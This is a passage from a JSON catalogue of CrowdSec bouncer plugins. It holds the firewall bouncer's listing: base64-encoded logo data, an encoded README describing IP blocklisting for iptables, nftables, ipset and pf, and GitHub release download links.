Nv0euNkXG9UnIlj7q2zk5ZvPZDTxxCMbmFOqTQ8p6vhc9O3Hhpq9jlJHitbtgJZVkM9D9cmZl1gxtaF739HhYONTz7Dlv9/01TQAQvp07RLZY/yRJo70QEMBxF4trPx08RliLO7ufSklW954i799dtR349LjPM8gEK/L3Ybi/tMNHC0F+EALK1HhLh5cXNvn92M1X/hsW3H53LBHgbJH7jbdJ3dp04XXTgBLezXg7jfdAFg6pYHi0Vd6LEaDkUkTi3wz6rYj3M0+egZ0VrUvo5iOyl1mn+dQNBNATMIJ9L11h4CiwNMr/o5BL1l6802885tfk5sz9Jc0mltaeHHzg2j8lZpcFLnVVyNajwM0G0FlJ9upnFfHsc8/x2Qa2lqIqqps//P7rF5fQUu9Vp8f7YXPdZp244Aqw2QgQyt7APfeYCPceZS1d1Wyfcf7uN0Dq+GcTicf7PwLd1Tez6bNL9DY1ERhhk6T6rEH34Hq87yJluOAfcAMrex18f05E4t+nofLLUhOSmTB9XOZWjKZ3OxsjMYrMZ3t7XYOHTlC9cFD7Ny9l4bGhl52Xr37RG1ZXnOqBi65kfwXDsfjYgGt/Se/NpoIID+yJGJw2bSw5YmH3xnFtureq2aKojAyJgaj0YjT6aShsRFV9V7H79xYczYttqNPzMngkAdQ5H1ilvP/fLNzBW1mQ3Ud6f6c11sw4UIfAVRV5XxDg5ccfYmNdEb64MI5EA9T6vhtcI6E251HkdRoYssDcZG+t+1GHWFDzLoFxZEjyuyv+2M6WpMnQCzCIfcY5qA6H0GwHtB0kdelYgfaQTSB9NTzcABtIBwg20DYQRolMlogkoE8VSJ1g1uAqgcqRJnjD1qcgzc0j4aS76IjMawE3PNATANK8FUQIbaKUvvqoWa3Wq2GTzbX1BgUmT3ALB+gN6wVMy71/fSuxvg9HE1KBHuMuUhlKoKFdH67eZCCiLtEmX2LT37sNv0S+Kf+i+IFbI4NYoU2o/r+iwswchd6FNNchPgHpFwC9Pcm3klUxwQxB5/+fkTuC7sOt1oNJHhJ4kDwgCh1vOJLOYNlWP9BQ+4lBrdpFUKsAznFQ5LPUOWtYk7Hl9qUZx6Dqj4JohRIBASCWuADJC+KMsdxLcoZDEHzFyadYwnnDFDiADeqqGF2+wEhgutDqyFChAgRIkSIECFChAgRIkSIED9g/h+02l+jofHlGAAAAABJRU5ErkJggg==", "url": "https://github.com/crowdsecurity/cs-firewall-bouncer", "description": "Crowdsec bouncer written in golang for firewalls", "stars": 67, "downloads": 7291, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1maXJld2FsbC1ib3VuY2VyL3Jhdy9tYWluL2RvY3MvYXNzZXRzL2Nyb3dkc2VjX2xpbnV4X2xvZ28ucG5nIiBhbHQ9IkNyb3dkU2VjIiB0aXRsZT0iQ3Jvd2RTZWMiIHdpZHRoPSIzMDAiIGhlaWdodD0iMjgwIiAvPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9idWlsZC1wYXNzLWdyZWVuIj4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvdGVzdHMtcGFzcy1ncmVlbiI+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CiYjeDFGNERBOyA8YSBocmVmPSIjaW5zdGFsbGF0aW9uIj5Eb2N1bWVudGF0aW9uPC9hPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCgojIGNyb3dkc2VjLWZpcmV3YWxsLWJvdW5jZXIKQ3Jvd2RzZWMgYm91bmNlciB3cml0dGVuIGluIGdvbGFuZyBmb3IgZmlyZXdhbGxzLgoKY3Jvd2RzZWMtZmlyZXdhbGwtYm91bmNlciB3aWxsIGZldGNoIG5ldyBhbmQgb2xkIGRlY2lzaW9ucyBmcm9tIGEgQ3Jvd2RTZWMgQVBJIHRvIGFkZCB0aGVtIGluIGEgYmxvY2tsaXN0IHVzZWQgYnkgc3VwcG9ydGVkIGZpcmV3YWxscy4KClN1cHBvcnRlZCBmaXJld2FsbHM6CiAtIGlwdGFibGVzIChJUHY0IDpoZWF2eV9jaGVja19tYXJrOiAvIElQdjYgOmhlYXZ5X2NoZWNrX21hcms6ICkKIC0gbmZ0YWJsZXMgKElQdjQgOmhlYXZ5X2NoZWNrX21hcms6IC8gSVB2NiA6aGVhdnlfY2hlY2tfbWFyazogKQogLSBpcHNldCBvbmx5IChJUHY0IDpoZWF2eV9jaGVja19tYXJrOiAvIElQdjYgOmhlYXZ5X2NoZWNrX21hcms6ICkKIC0gcGYgKElQVjQgOmhlYXZ5X2NoZWNrX21hcms6IC8gSVBWNiA6aGVhdnlfY2hlY2tfbWFyazogKQoKIyBJbnN0YWxsYXRpb24KClBsZWFzZSBmb2xsb3cgdGhlIFtvZmZpY2lhbCBkb2N1bWVudGF0aW9uXShodHRwczovL2RvYy5jcm93ZHNlYy5uZXQvZG9jcy9ib3VuY2Vycy9maXJld2FsbCkuCg==", "status": "stable", "version": "v0.0.25", "assets": [ { "name": "crowdsec-firewall-bouncer-amd64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-amd64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729909" }, { "name": "crowdsec-firewall-bouncer-amd64.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-amd64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729911" }, { "name": "crowdsec-firewall-bouncer-armhf.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-armhf.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729912" }, { "name": "crowdsec-firewall-bouncer-armv7.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-armv7.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729914" }, { "name": "crowdsec-firewall-bouncer-aarch64.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-aarch64.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729920" }, { "name": "crowdsec-firewall-bouncer-i386-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-i386-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729922" }, { "name": "crowdsec-firewall-bouncer-armhf-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-armhf-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729929" }, { "name": "crowdsec-firewall-bouncer-aarch64-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-aarch64-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729932" }, { "name": "crowdsec-firewall-bouncer-i386.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-i386.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729935" }, { "name": "crowdsec-firewall-bouncer-armv7-static.tgz", "download_url": "https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.25/crowdsec-firewall-bouncer-armv7-static.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-firewall-bouncer/releases/assets/90729936" } ] }, { "name": "cs-custom-bouncer", "author": "crowdsecurity", "logo": "iVBORw0KGgoAAAANSUhEUgAAAuwAAAHACAYAAAD5pj0sAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAATiAAAE4gBo4oJKAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAACAASURBVHic7d1/mJ11eSf++3NmMhMBIfzQVUgiorW1KK6dJjPnTMKOiOtaa11b44/dat1aabWK2l7dar/ttvvDrXa3rVh0FbHbgq7VdK3aKlURZk3mnDPhmvo1iKj1ByURqhQNSAgzmXk++wdhVQSSzJznPM/Meb2ui7+8rvt+/yEzb54593kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO6Tqg4AlK/ZbJ5WFMWjhoeHTy+K4vSIOD2lNJRzPiWl1Kg6H1CtoijuaDQaRc75O41G458WFxdvHxkZuW3Xrl23Vp0NUNhhzZiamho+dOjQE1JKT04pPSUifjwiHhsRZ0fEyZWGA1areyLiHyLipoj4Ys75841G43Pz8/M3zM3N3V1tNBgcCjusYtu2bTunKIoLc84XRsSFEXFq1ZmAgbCYUvpcURRXR8TV69ev3z09PX1P1aFgrVLYYRXZtm3b5sXFxeemlJ4WEf8iIk6rOhNARByKiE5K6dqc88c6nc5nqw4Ea4nCDjXXbDYfFhE/HREvjYhnRcRQtYkAjurGlNIHFxcX/3zPnj1frzoMrHYKO9RTY2Ji4oKU0ksj4nkRcVLVgQCWoYh7n7xfkVJ6/8zMzHerDgSrkcIONXLeeeedeMIJJ1yUUvr1iDir6jwAPXRXSumylNIfzszM3FJ1GFhNFHaogcnJyYcXRfGLEfGGiHhU1XkASrQQER8oiuI/z87O/n3VYWA1UNihQmNjY2eMjo6+Ouf82ojYUHUegD4qIuJ/55x/t9vt3lh1GKgzhR0qMDY2tm5kZOTXI+K3I+LEqvMAVKjIOb+nKIo37tmz5/aqw0Ad+bYJ6LNWq3X+0NDQX0fEiyNipOo8ABVLKaWxRqPxik2bNt2zf//+6yIiVx0K6sQTduiT7du3P3pxcfG/R8S/qToLQI11Ukqvarfb/3/VQaAuFHYoX2o2m6+KiDdFxClVhwFYBRYj4u0LCwu/NTc3d3fVYaBqCjuUaGxs7JSRkZHLI+L5VWcBWIW+GBEv6HQ611cdBKrkM+xQklartWVoaOjqiJisOgvAKnVGRLxs8+bN39q3b9/fVR0GquIJO/ReajabF0fEH4SjUoBeufLgwYOv3Lt378Gqg0C/KezQQ9u2bTt1aWnpioj46aqzAKxBX4iIn+t0Ol+sOgj0k8IOPbJ9+/ZHHz58+KqU0lOqzgKwhn0n5/ycbrc7U3UQ6BeFHXpg27Zt5ywtLX0yIh5XdRaAAXB3SukF7Xb7Y1UHgX5wdAorNDk5+ZNFUVwTEZuqzgIwINZFxAs3btx4y/79+x2jsuYp7LACrVbrgpzzxyPitKqzAAyYRkrpOZs3b0779u2brjoMlElhh2WamJh4TkR8NCJOqDoLwIBKETG1adOmof37919bdRgoi8IOyzA5OTkR95b1h1WdBYD4F5s2bbpj//793aqDQBkcncJxarVaT8o5fyYiTq06yzFYjIgvp5Suj4ivFEVxU0R8I6V0e0rp9pzzPUNDQ177DQPs8OHDI+vWrTuxKIqTi6I4o9FoPDrn/NiU0mNzzk+KiHNjdTycKHLO/6bb7X6g6iDQawo7HIdWq/WYnPNMRJxVdZYHcTgi9kTENY1G49p169Z1pqen76k6FLB67dixY+jmm2/+541G42k556ellM6PiJOqzvUgFnLOz+52u1dXHQR6SWGHYzQ2NnbGyMjI7oj40aqz3M89EfHRnPP77r777k97CyBQpqmpqeFDhw5NpJRenFJ6YUScXnWm+/luURRPm52dnas6CPSKwg7H4Nxzzx05+eSTpyOiWXWW+6SUdkfEFSMjIzunp6cPVJ0HGDxHfjb+VES8NO59w/O6iiPd51uLi4s/ed111+2rOgj0gsIOx6DZbP5RRLy+6hwRkSPiY41G400zMzOOq4Da2LZt2+bFxcVfTym9Imrwmfecc/fw4cPnz83NHa46C6yUwg5HMTEx8TMppQ9Htf++LEXEByPi9zudzvUV5gB4SFu2bHnU8PDwr0XEK6P6z7q/udPpvLHiDLBiCjs8hC1btmwaHh7+bFT7Gc2/yzm/qtvtzlaYAeC4bN++/dGLi4tviYiXVBgj55yf2+12/7rCDLBiCjs8iKmpqeH5+fnpiJisKMKBiPi9jRs3Xrpz586lijIArMjk5OTTiqJ4e0Q8saIIt0XEUzudzjcq2g8r1qg6ANTVwsLCm6K6sv7h4eHhJ3Q6nUuUdWA1m5mZuXbDhg1PjYg3R0RRQYRHRMT7duzY4WWRrFqesMMDGB8fH2s0GrPR/7cBL6aUfrvdbv9B3HtgCrBmtFqtC3LO74uIR/V7d0rpV9vt9jv6vRd6wRN2+GGNlNKl0f+yfnNK6fx2u/2WUNaBNajdbl+TUnpKSulT/d6dc/797du3P7rfe6EXFHa4n2az+YqU0kSf185ExFPb7Xanz3sB+qrdbn/rrLPOelZEvKvPq09eXFz8/T7vhJ7wkRj4Plu3bj19eHj4iznnM/q49m8WFhZeODc3d3cfdwJUrtVq/WbO+c19XJlzzhd0u93pPu6EFfOEHb5Po9H4b30u61cuLCz8rLIODKJ2u/2WlNKvRv+OUVNK6dKxsbG6vJEVjomLaTii1Wo1I+JPok9/eUop/Y9Op/OKW2+91bfAAANr3759123evPnrEfGvoz8/fx85NDT07f3793tbNKuGJ+xwRM75P0X/Pib24bPOOus14bgUINrt9pUR8Zo+rnzj2NjYCX3cByviCTtERKvV2hIRfTlGyjlfe+qppz7vIx/5yOF+7ANYDfbv33/d5s2bT4j+vP/ixEaj8c39+/fv6cMuWDFP2CEics6/1adVnx0aGnruVVddNd+nfQCrRrvdfkNEXNmPXY1G4zfOPffckX7sgpVS2Bl4ExMTT4yIn+nDqgNDQ0PPn5mZ+W4fdgGsRnl0dPSiiPhs6Yty3nTyySe/pOw90AsKOwMvpfTb0Z9/F161e/fur/VhD8CqNT09fU9RFC+MiH483Hjj1NTUcB/2wIoo7Ay0Vqv1uIh4YR9Wvb3T6by/D3sAVr3Z2dm/Tym9qg+rHjc/P/+CPuyBFVHYGWg551+O8o+vP79hw4ZfL3kHwJrSbrffG/35PHs//sMAVkRhZ5A1IuLFJe/IOefXODIFOH5LS0uvj4jbS17TOvLXVqgthZ2BNT4+/vSI2Fjymiu8Ahtgefbs2XN7zvl3Sl6Tcs7/tuQdsCIKOwOr0WiU/e0Adw4PD7+x5B0Aa1q3231XRMyWvOYl0b8X58FxU9gZSOedd96JEfG8ktf8h127dt1a8g6Ata5oNBqvK3nH41ut1kTJO2DZFHYG0kknnfSzEXFSiSu+GRGXlTgfYGDMzMx0I+KTZe4oiuLny5wPK6GwM5ByzqUem6aU/rjT6RwqcwfAIEkpvank+S/csWNH2d8aBsuisDNwjryK+vwSV9wxPz//zhLnAwycdrv9mYjYVeKK02+55Zanljgflk1hZ+CcdNJJWyPixLLmp5QunZubu6Os+QCDqtFovLnM+UtLSxeUOR+WS2Fn4DQajTJ/IOdGo/GnJc4HGFgzMzN/m1LaV9b8lNJUWbNhJRR2BtHTSpy9a/fu3V8rcT7AICuKovhfJc7fPjY2tq7E+bAsCjsDZWpqan1ElPbVXTnnfrxGG2Bg5ZyvKHH8SSMjI1tKnA/LorAzUA4fPtyMiPUljb9n/fr1f1nSbAAiYnZ29gsR8dmy5qeUfI6d2lHYGShFUWwvcfzV09PTB0qcD0BE5JxLeziSc95W1mxYLoWdQfOUsgbnnK8pazYA39NoNK4tcXxpvydguRR2Bs15ZQ0u+RcIAEeMjIxcFxF3ljT+Udu3b39ESbNhWRR2BsZ55513YkScU9L429vt9t6SZgPwfaanpxejxJcoLS0tPbms2bAcCjsD48QTTzwnyvv//GcioihpNgD3k1Iq86+ajy9xNhw3hZ2BkXM+u8Tx15U4G4D7KYpirqzZJf++gOOmsDMwGo3GY0scf32JswG4n5RSmR9DPLvE2XDcFHYGRs55Y1mzU0o3ljUbgB/W6XS+HRHfKmn8Y0qaC8uisDNIHlnS3KX5+fmbS5oNwIO7qaS5viWGWlHYGSSnlTT31rm5ucMlzQbgQaSUvl7S6NNLmgvLorAzSM4oY2hK6ZtlzAXgoeWcbytp9KlTU1PDJc2G46awM0geXsbQnPPtZcwF4KGllMr6+ZsOHTp0Qkmz4bgp7AySdSXNLettewA8hKIo7ihr9sjIyGhZs+F4KewMklJ++KaU5suYC8BDazQapf38XVxcHClrNhwvhZ1BUsoP35zzYhlzAXhoOefSCvvQ0JAn7NSGws4gSWUMzTkXZcwF4KhyWYOXlpZ0JGrD/xkBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhB37A5OTkxNatW59QdQ4A4F4KO/ADlpaWnj40NPSlZrO5u9ls7piamhquOhMADDKFHXgwkxHxwfn5+X+YmJh48/j4+MaqAwHAIFLYgaM5M6X0m41G46vNZvODExMTF1YdCAAGiT91A8dqJCJ2pJR2NJvNGyPiXQcPHrx87969B6sOBgBrmSfswHI8MSLeeuKJJ97SbDbfNTk5eW7VgQBgrVLYgZU4OSIuKori845UAaAcCjvQKz9wpNpsNs+qOhAArAUKO9BrZ6aUfjMivuZIFQBWzp+ugbI4UgWAHvCEHegHR6oAsEwKO9BPjlQB4Dgp7EBVHKkCwDFQ2IGqOVIFgIfgT9FAXThSBYAH4Ak7UEeOVAHgCIUdqDNHqgAMPIUdWC0cqQIwkBR2YLVxpArAQPGnZWC1cqQKwEDwhB1YCxypArBmKezAWnLfker1zWbzU45UAVgLFHZgLUoRcWEcOVJttVq/12q1Hll1KABYDoUd+AHr1q3705zzf4mIf6w6S4+cmXP+3Zzzza1W672tVqtZdSAAOB4KO/ADdu3adWu32/2dO++88zER8YKIuDoicsWxemE05/xvc87tZrP5d61W66LzzjvvxKpDAcDRKOzAA7rhhhsWOp3Ozk6n84yI+PGc89si4q6qc/XIU3PO73KkCsBqoLADR9XpdL7Y7XZfWxTFWSmlX46Iz1edqUccqQJQewo7cMxmZ2fvbLfbl3U6nScXRbE9InZGxGLVuXrAkSoAtaWwA8syOzu7u9PpvGB4eHhzSukNEbG/6kw9ct+R6j5vUgWgDhR2YEV27dp1a7vdfsudd975uPjekepacN+bVD/lSBWAKinsQE/c70j1iWv5SHV8fPzHqw4EwOBQ2IGeW+tHqo1G4/OOVAHoF4UdKI0jVQBYOYUd6AtHqgCwPAo70FeOVAHg+CjsQCUG5Ej1G45UAVgphR2o3Bo+Uj0lHKkCsEIKO1Abg3Skun379kdUHQqA1UFhB2pprR+pLi4u7nekCsCxUNiBWhuQI9U5R6oAPBiFHVgV1viR6k84UgXgwSjswKrjSBWAQaKwA6uWI1UABoHCDqwJjlQBWKsUdmBNcaQKwFqjsANrkiNVANYKhR1Y8x7gSPWGqjP1iCNVgAGgsAMD4/uOVJ/kSBWA1UJhBwbSfUeqjUbjMY5UAagzhR0YaDMzM7c4UgWgzhR2gHjQI9WDVefqEUeqAKuYwg5wP/cdqY6Ojm6MiNenlL5cdaYeue9I9fpms3nV5OTk06oOBMDR+TYBgAcxPT19ICLeGhFvHR8f39ZoNC6OiOfF6v/Z2YiIf1UUxVJEXFt1GAAemifsAMdgDR+pAlBzCjvAcVjDR6oA1NRq/7MuQCVuuOGGhbj3e9x3TkxMPDEifiWl9PKI8E0sAPSUJ+wAK9Ttdm888ibVM1fTm1RzzqnqDAAcnSfsAD0yOzt7Z0RcFhGXrbEjVQAq5Ak7QAke4Ej1G1VnAmB1UtgBSvR9R6rnhCNVAJbBn2kB+sCRKgDL5Qk7QJ/dd6QaEc2IuKmqHCklR6cAq4An7AB95iAVgOPhFwVAH0xOTj485/zinPNrIuJJVecBYPVQ2AFKNDk5+aNLS0v/riiKX46IDVXnAWD1UdgBemzHjh1D+/bt+6mU0sVFUTzdZ8UBWAmFHaBHtmzZ8qh169b9wv79+1+VUtpcdZ5j4D8kAFYBhR1ghcbHx8cajcZrI+JFOed1VecBYG1R2AGWYWpqav38/PwLcs6/llJ6StV5AFi7FHaA4zA+Pv4jKaWXz8/PvyIiTvPxdADKprADHF1jYmLigpTSayPi2eGz3wD0kcIO8CBardYji6L4pUaj8Ss5501V5+mhu3PO70sp/UnVQQA4OoUd4H6OHJFelHN+SUrpYTnnqiP1yldSSpcvLi5evmfPnturDgPAsVHYASLiWc961uiBAwd+JiJeHxHNqvP0UBER10TEZRs3bvzQzp07l6oOBMDxUdiBgdZqtR5XFMUrDhw48EsRcXrVeXroQM75iqIo3rpnz56vVx0GgOVT2IFBdN8R6UU5559NKQ1VHahXUkpzEXHZ/Pz8e+fm5u6uOg8AK6ewAwNjbGzslJGRkZdFxMURcU7FcXppPiI+mnO+pNPpzFQdBoDeUtiBNe++I9KI+PmIOKHqPD30jZTS5fPz85fOzc39U9VhACiHwg6sSd93RHpRRFxYdZ4e+n9HpKOjo381PT29WHUgAMqlsANryuTk5Jk554sOHDjwqoh4RNV5euiOiPhAURSXzM7OfqHqMAD0j8IOrAVpYmLi6Smli4qieF6srZ9tn00pvfOuu+563969ew9WHQaA/ltLv9SAATM+Pn7y0NDQi3LOr42IH686Tw8tRMRHcs6Xdbvdq6sOA0C1FHZg1Wk2mz+Wc35lSunlOecTq87TQ7fmnK/IOV86Ozu7v+owANSDwg6sCueee+7IySef/Nw4ckSaUqo6Ui/NRMQljkgBeCAKO1Br27dvf/TS0tJLc86vjoiNVefpoe9GxPtTSn/Sbrc/X3UYAOpLYQdqaXx8fFuj0bh4cXHxX0fEuqrz9NCXIuJ/jI6Ovmd6evquqsMAUH8KO1Abk5OTD885v/jI0/QnV52nh5Yi4qqc8yXdbvfTEZGrDgTA6qGwA5XbunXrExqNxi8WRXFRRJxadZ4e+sec858PDw+/Y/fu3TdXHQaA1UlhB6rSmJiYeHZK6eKIeHpErJkr0pTSXM75bQsLC++fm5s7XHUeAFY3hR3oq/Hx8X82NDT0spzzqyJic9V5euieiNg5NDT0h7t37/5c1WEAWDsUdqAvxsfHxxqNxmsj4kU557V0RPr3KaX35Jzf3el0vl11GADWHoUdKM3U1NT6+fn5F+Scfy2l9JSq8/RQERHX5Jzf1u12/yYckQJQIoUd6Lnx8fEfSSm9fH5+/hURcdoaesnRt3LO/zMi3tntdm+qOgwAg0FhB3qlMTExcUFK6bUR8exYY0ekEXFZzvnKbrd7qOo8AAwWhR1YkVar9ciI+Hc551+JiLMrjtNL8xHx0ZTSH7fb7U7VYQAYXAo7sCxHjkgvyjm/JCIeVnWeHvpqSundi4uLl+/Zs+f2qsMAgMIOHLNnPetZowcOHPiZiHhdRLSqztNDRURcExGXbdy48UM7d+5cqjoQANxHYQeOqtVqPa4oilfccccdL4+IM6rO00N3HHkT6SW7d+/+WtVhAOCBKOzAg7nviPSinPPPppSGcl4b31543xHp/Pz8e+fm5u6uOg8APBSFHfgBzWbztIh4eUT8SkScU3GcXronIj4YEW9vt9t7qg4DAMdKYQd+QM75lSml/1J1jh66JaX07qGhobfv2rXrtqrDAMDxUtiBtShHxKcj4rLR0dG/mp6eXqw6EAAsl8IOrCV3RsRfNBqNt83MzNxQdRgA6AWFHVgLvhgR7zx48ODle/fuPVh1GADoJYUdWK0WIuIjOefLut3u1VWHAYCyKOzAanNrzvmKnPOls7Oz+6sOAwBlU9iB1WImIi5ZWFj48Nzc3OGqwwBAvyjsQJ19NyLeHxGXdjqd66sOAwBVUNiB2kkpfTki/rTRaFy2e/fu71SdBwCqpLADdVFExMdzzpd0Op1Px73fpQ4AA09hB6r2zZzznw0PD79j9+7dN1cdBgDqRmEHKpFSmouIy0ZGRq6Ynp6+p+o8AFBXCjvQT/dExM6hoaE/3L179+eqDgMAq4HCDvTDV1JKl+ec393pdL5ddRgAWE0UdqAsRURck3N+W7fb/ZtwRAoAy6KwA712IOd8RUT8cbfbvanqMACw2insQE/cd0Sac76y2+0eqjoPAKwVCjuwEvMR8dGIeGu73W5XHQYA1iKFHViOr6WULpufn3/P3NzcP1UdBgDWMoUdOFZFRFwTEZdt3LjxQzt37lyqOhAADAKFHTiaOyLiAznnt3a73RurDgMAg0ZhBx7M36WU3jU/P//eubm5u6sOAwCDSmEHfsDQ0FA7IpozMzPdqrMAAAo7cD8zMzPXVp0BAPieRtUBAACAB6ewAwBAjSnsAABQYwo7AADUmMIOAAA1prADAECNKewAAFBjCjsAANSYwg4AADWmsAMAQI0p7AAAUGMKOwAA1JjCDgAANaawAwBAjSnsAABQYwo7AADUmMIOAAA1prADAECNKewAAFBjw1UHAKA627ZtO7UoiidXnYP+KYritm63e2PVOYBjp7ADDLClpaWtEfG3Veegf1JKH4qIn6s6B3DsfCQGAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpsuOoAAFSn0+l8ampq6mFV56B/vvvd7y5VnQE4Pgo7wGArpqen76k6BAAPzkdiAACgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhBwCAGlPYAQCgxhR2AACoMYUdAABqTGEHAIAaU9gBAKDGFHYAAKgxhR0AAGpMYQcAgBpT2AEAoMYUdgAAqDGFHQAAakxhZ2CklBZLmjtUxlwAjmpdWYNTSofLmg3HS2FnYOScF0qaO1LGXAAeWpk/fw8fPjxf1mw4Xgo7g6SUH76NRuOEMuYCcFQPK2vw8PBwKQ95YDkUdgbJPSXNPa2kuQA8hEajcXqJ4w+VOBuOi8LOIPlOGUNzzmeUMReAh5ZzLquwH+p0Ogo7taGwMzBSSv9U0uizSpoLwEPbVMbQEn9fwLIo7AyMoihuL2n0w7du3Vrmn2UBeGCPLWNozrms3xewLAo7AyOl9I9lzR4aGnpcWbMB+GFTU1PDEbG5pPGl/b6A5VDYGST/UOLsJ5c4G4D7OXTo0BMiYrSM2Smlr5cxF5ZLYWdgNBqN0n4A55zPK2s2AD8spVTag5KiKG4qazYsh8LOwFhcXCytsKeUxsuaDcAPSyltL3G2J+zUisLOwJidnf1GRBwoafxPjI2NeYESQP9cUNbgnPPny5oNy6GwM0hySqmsH8Lr1q1b1yppNgDfZ8uWLY+KiB8rafz84cOHv1LSbFgWhZ2BUhTF3rJmp5SeWdZsAL5neHj4gohIJY2/cW5u7nBJs2FZFHYGzWdLnP2cEmcD8D1lPiCZK3E2LIvCzkDJObdLHP+jrVZrS4nzAQZes9l8WEQ8t6z5Oedry5oNy6WwM1BmZ2dvjIhvl7jiJSXOBiDieRFxSlnDU0rTZc2G5VLYGTQ5Ijolzn/x2NjYuhLnAwy6ny9x9pc6nc43SpwPy6KwM3BSSp8sa3bO+YzR0dGfKms+wCA78u0wzyhxhY/DUEsKOwMnpfSJMufnnF9X5nyAQTU8PHxxRAyXuOKaEmfDsinsDJyZmZkvRcRXS1wxNT4+vq3E+QADZ2xs7JSIeGWJK3JRFJ8pcT4sm8LOoPqrMoc3Go03lDkfYNCMjo6+JiI2lLiiPTs7+80S58OyKewMpEaj8Wclr3j2xMTET5S8A2AgnHfeeSfmnC8uec2VJc+HZVPYGUgzMzM35Jw/V+aOlNJ/LXM+wKA46aSTfiMiHlHiivmI2FnifFgRhZ2BlVJ6b8krntlqtX6u5B0Aa1qr1Xpczvk3S17zsU6nU+Y7OmBFFHYG1vDw8PsiYqnMHTnnt05NTZ1U5g6AtSznfElErC95jY/DUGsKOwNr165dt0bEp0tes3FhYeF3St4BsCY1m83nRcSzS17z7Q0bNlxV8g5YEYWdQfdnZS/IOb++2Wy2yt4DsJa0Wq1HRsSlfVj1v6666qr5PuyBZVPYGWgbN278YER8rINEGgAACCJJREFUpeQ161JKf7F169bTS94DsFY0cs5XRMSZJe9ZiohLSt4BK6awM9B27ty5lHP+w7L35Jw3DQ0N/XlEpLJ3Aax2ExMTb4iIZ/Zh1fs6nU7ZD21gxRR2Bt6pp576PyPilj6senar1fq1PuwBWLVardb5KaX/2IdVRc75zX3YAys2VHUAqNpXvvKVpc2bN6eI+Jd9WPf0zZs3f2Hfvn1f6MMugFWl2Ww+PiL+NiIe3od1/7vb7b6jD3tgxTxhh4i466673hkRt/Vh1VDO+X0TExMX9mEXw